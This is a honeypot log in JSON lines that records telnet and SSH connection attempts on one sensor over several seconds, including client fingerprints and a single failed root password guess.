{"eventid":"cowrie.session.closed","duration":30.09288763999939,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:39.040461Z","src_ip":"213.129.84.225","session":"a1df9c52e4fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771425247192383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:39.045628Z","src_ip":"213.129.84.225","session":"b6dd86a8e87a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770750284194946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:39.050656Z","src_ip":"213.129.84.225","session":"0a3e70c9df93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":39382,"dst_ip":"159.203.135.109","dst_port":23,"session":"88ec7820c412","protocol":"telnet","message":"New connection: 207.148.4.7:39382 (159.203.135.109:23) [session: 88ec7820c412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:39.101009Z"}
{"eventid":"cowrie.session.closed","duration":31.213868141174316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:39.231190Z","src_ip":"213.129.84.225","session":"ecedf265f68c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840495824813843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:39.677080Z","src_ip":"207.148.4.7","session":"a6adc9a725de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82063889503479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:39.909855Z","src_ip":"213.129.84.225","session":"602014e02139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50022,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e5d0ed9a781","protocol":"telnet","message":"New connection: 213.129.84.225:50022 (159.203.135.109:23) [session: 9e5d0ed9a781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:40.032420Z"}
{"eventid":"cowrie.session.closed","duration":31.08386206626892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:40.044410Z","src_ip":"213.129.84.225","session":"ce9711796cad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60166,"dst_ip":"10.17.0.5","dst_port":23,"session":"036c65b2dde0","protocol":"telnet","message":"New connection: 137.184.155.248:60166 (10.17.0.5:23) [session: 036c65b2dde0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:40.618121Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":39394,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad3c8a9e191","protocol":"telnet","message":"New connection: 207.148.4.7:39394 (159.203.135.109:23) [session: 0ad3c8a9e191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:40.860630Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54992,"dst_ip":"159.203.135.109","dst_port":23,"session":"912a3c3a2a5f","protocol":"telnet","message":"New connection: 213.129.84.225:54992 (159.203.135.109:23) [session: 912a3c3a2a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:41.045500Z"}
{"eventid":"cowrie.session.closed","duration":30.601269960403442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:41.055735Z","src_ip":"213.129.84.225","session":"84306aba47b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":39396,"dst_ip":"159.203.135.109","dst_port":23,"session":"afbb76e30092","protocol":"telnet","message":"New connection: 207.148.4.7:39396 (159.203.135.109:23) [session: afbb76e30092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:42.044486Z"}
{"eventid":"cowrie.session.closed","duration":30.38099694252014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:42.187885Z","src_ip":"213.129.84.225","session":"f9e468bf1f0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":39402,"dst_ip":"159.203.135.109","dst_port":23,"session":"a82f2a1b7623","protocol":"telnet","message":"New connection: 207.148.4.7:39402 (159.203.135.109:23) [session: a82f2a1b7623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:42.282531Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":39418,"dst_ip":"159.203.135.109","dst_port":23,"session":"a781284e114a","protocol":"telnet","message":"New connection: 207.148.4.7:39418 (159.203.135.109:23) [session: a781284e114a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:42.857898Z"}
{"eventid":"cowrie.session.closed","duration":31.041093826293945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:42.933557Z","src_ip":"213.129.84.225","session":"117e3365a48d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66137385368347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:43.146063Z","src_ip":"213.129.84.225","session":"18f1dcb2247b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36848,"dst_ip":"159.203.135.109","dst_port":23,"session":"33c574a1d8a0","protocol":"telnet","message":"New connection: 213.129.84.225:36848 (159.203.135.109:23) [session: 33c574a1d8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:43.217064Z"}
{"eventid":"cowrie.session.closed","duration":30.977488040924072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:43.231958Z","src_ip":"213.129.84.225","session":"55db3a240466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43508,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e48f8dabeb6","protocol":"telnet","message":"New connection: 213.129.84.225:43508 (159.203.135.109:23) [session: 5e48f8dabeb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:44.549080Z"}
{"eventid":"cowrie.session.closed","duration":30.629638671875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:45.049184Z","src_ip":"213.129.84.225","session":"8797147a19e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20263409614563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:45.061503Z","src_ip":"213.129.84.225","session":"8b8279d41aa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.587119340896606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:45.597569Z","src_ip":"207.148.4.7","session":"a05ad3906fcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.118394136428833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:45.945308Z","src_ip":"213.129.84.225","session":"6e37bf3555bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764345169067383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:46.065382Z","src_ip":"213.129.84.225","session":"ff0c28eb97a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.917534828186035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:46.070307Z","src_ip":"213.129.84.225","session":"4ef40d65b42a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50872,"dst_ip":"159.203.135.109","dst_port":23,"session":"495b42026815","protocol":"telnet","message":"New connection: 213.129.84.225:50872 (159.203.135.109:23) [session: 495b42026815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:46.198550Z"}
{"eventid":"cowrie.session.closed","duration":31.365707635879517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:46.538352Z","src_ip":"207.148.4.7","session":"47f71790e7fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53768,"dst_ip":"159.203.135.109","dst_port":23,"session":"b924f9c0228c","protocol":"telnet","message":"New connection: 213.129.84.225:53768 (159.203.135.109:23) [session: b924f9c0228c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:46.817784Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":44500,"dst_ip":"159.203.135.109","dst_port":23,"session":"570dc9f7feb4","protocol":"telnet","message":"New connection: 207.148.4.7:44500 (159.203.135.109:23) [session: 570dc9f7feb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:47.001553Z"}
{"eventid":"cowrie.session.closed","duration":30.480924129486084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:47.080737Z","src_ip":"213.129.84.225","session":"67bc4780541d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.436970233917236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:47.085780Z","src_ip":"213.129.84.225","session":"589d7a04f2e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987796783447266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:47.482319Z","src_ip":"213.129.84.225","session":"941816db5552","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795438051223755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:49.106864Z","src_ip":"213.129.84.225","session":"cc55fbc8b9da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.314323663711548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:49.202140Z","src_ip":"207.148.4.7","session":"f901ecbaa0f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099300861358643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:49.243993Z","src_ip":"213.129.84.225","session":"61847a161253","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37854,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e4ebc097a43","protocol":"telnet","message":"New connection: 213.129.84.225:37854 (159.203.135.109:23) [session: 2e4ebc097a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:49.584368Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":44510,"dst_ip":"159.203.135.109","dst_port":23,"session":"6845084e2015","protocol":"telnet","message":"New connection: 207.148.4.7:44510 (159.203.135.109:23) [session: 6845084e2015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:50.152325Z"}
{"eventid":"cowrie.session.closed","duration":31.01381278038025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:51.866551Z","src_ip":"213.129.84.225","session":"0b785c757b2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0572829246521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:52.103508Z","src_ip":"207.148.4.7","session":"7fe790b06f10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49700,"dst_ip":"159.203.135.109","dst_port":23,"session":"de9c3c6bdb28","protocol":"telnet","message":"New connection: 213.129.84.225:49700 (159.203.135.109:23) [session: de9c3c6bdb28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:52.118450Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50700,"dst_ip":"159.203.135.109","dst_port":23,"session":"6308836b94d6","protocol":"telnet","message":"New connection: 213.129.84.225:50700 (159.203.135.109:23) [session: 6308836b94d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:52.334647Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":55886,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9d11d2adfb9","protocol":"ssh","message":"New connection: 202.125.94.71:55886 (159.203.135.109:22) [session: e9d11d2adfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:52.879042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:52.884238Z","src_ip":"202.125.94.71","session":"e9d11d2adfb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53608,"dst_ip":"159.203.135.109","dst_port":23,"session":"106ffd916a3f","protocol":"telnet","message":"New connection: 213.129.84.225:53608 (159.203.135.109:23) [session: 106ffd916a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:52.990620Z"}
{"eventid":"cowrie.session.closed","duration":30.62127447128296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:53.061887Z","src_ip":"213.129.84.225","session":"e58bbf636f94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863203048706055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:53.090667Z","src_ip":"207.148.4.7","session":"d44614dee277","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:53.143762Z","src_ip":"202.125.94.71","session":"e9d11d2adfb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":44516,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ea48ceaf75e","protocol":"telnet","message":"New connection: 207.148.4.7:44516 (159.203.135.109:23) [session: 4ea48ceaf75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:53.212562Z"}
{"eventid":"cowrie.session.closed","duration":30.833537817001343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:54.044977Z","src_ip":"213.129.84.225","session":"1074538ef582","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825527906417847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:54.085459Z","src_ip":"213.129.84.225","session":"ae85a84bd282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.526968717575073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:54.189536Z","src_ip":"213.129.84.225","session":"26d542372f21","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsxcde3","message":"login attempt [root/ZAQ!2wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:54.210741Z","src_ip":"202.125.94.71","session":"e9d11d2adfb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.25342035293579,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:54.742749Z","src_ip":"213.129.84.225","session":"dcd3b09c2db0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34758,"dst_ip":"159.203.135.109","dst_port":23,"session":"8834b3ee9608","protocol":"telnet","message":"New connection: 213.129.84.225:34758 (159.203.135.109:23) [session: 8834b3ee9608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:55.016362Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35068,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de65542b52a","protocol":"telnet","message":"New connection: 213.129.84.225:35068 (159.203.135.109:23) [session: 6de65542b52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:55.082289Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58782,"dst_ip":"159.203.135.109","dst_port":23,"session":"c23150efbb74","protocol":"telnet","message":"New connection: 213.129.84.225:58782 (159.203.135.109:23) [session: c23150efbb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:55.163104Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:55.472122Z","src_ip":"202.125.94.71","session":"e9d11d2adfb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.02226233482361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:55.657443Z","src_ip":"213.129.84.225","session":"2b484a64b5f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18214249610901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:55.764576Z","src_ip":"207.148.4.7","session":"2b8f3533db5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795446157455444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:56.046005Z","src_ip":"213.129.84.225","session":"6fc6027dbe62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058099031448364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:57.427668Z","src_ip":"213.129.84.225","session":"0ef90be071da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54198,"dst_ip":"159.203.135.109","dst_port":23,"session":"eba853629e35","protocol":"telnet","message":"New connection: 213.129.84.225:54198 (159.203.135.109:23) [session: eba853629e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:59.094349Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54450,"dst_ip":"159.203.135.109","dst_port":23,"session":"530e65adba19","protocol":"telnet","message":"New connection: 213.129.84.225:54450 (159.203.135.109:23) [session: 530e65adba19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:59.145859Z"}
{"eventid":"cowrie.session.closed","duration":30.933815717697144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:59.172360Z","src_ip":"213.129.84.225","session":"625c1e10854e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73814082145691,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:59.183755Z","src_ip":"213.129.84.225","session":"f5768cf441cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55622,"dst_ip":"159.203.135.109","dst_port":23,"session":"263d83f72184","protocol":"telnet","message":"New connection: 213.129.84.225:55622 (159.203.135.109:23) [session: 263d83f72184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:59.408450Z"}
{"eventid":"cowrie.session.closed","duration":31.375051021575928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:59.516733Z","src_ip":"213.129.84.225","session":"8684c1bdd26b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56644,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5c3469648f7","protocol":"telnet","message":"New connection: 213.129.84.225:56644 (159.203.135.109:23) [session: a5c3469648f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:59.631313Z"}
{"eventid":"cowrie.session.closed","duration":31.046852111816406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:00.365835Z","src_ip":"207.148.4.7","session":"79efbeb9a3be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":43052,"dst_ip":"159.203.135.109","dst_port":23,"session":"db04406e2ac8","protocol":"telnet","message":"New connection: 207.148.4.7:43052 (159.203.135.109:23) [session: db04406e2ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:00.836788Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.23.144","src_port":58970,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3f1a824f3cb","protocol":"ssh","message":"New connection: 165.22.23.144:58970 (159.203.135.109:22) [session: b3f1a824f3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:01.035967Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:01.040374Z","src_ip":"165.22.23.144","session":"b3f1a824f3cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.09107279777527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:01.046395Z","src_ip":"213.129.84.225","session":"04c8946151bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.23.144","src_port":58986,"dst_ip":"159.203.135.109","dst_port":22,"session":"d563e3bbf942","protocol":"ssh","message":"New connection: 165.22.23.144:58986 (159.203.135.109:22) [session: d563e3bbf942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:01.118885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:01.123987Z","src_ip":"165.22.23.144","session":"d563e3bbf942","protocol":"ssh"}
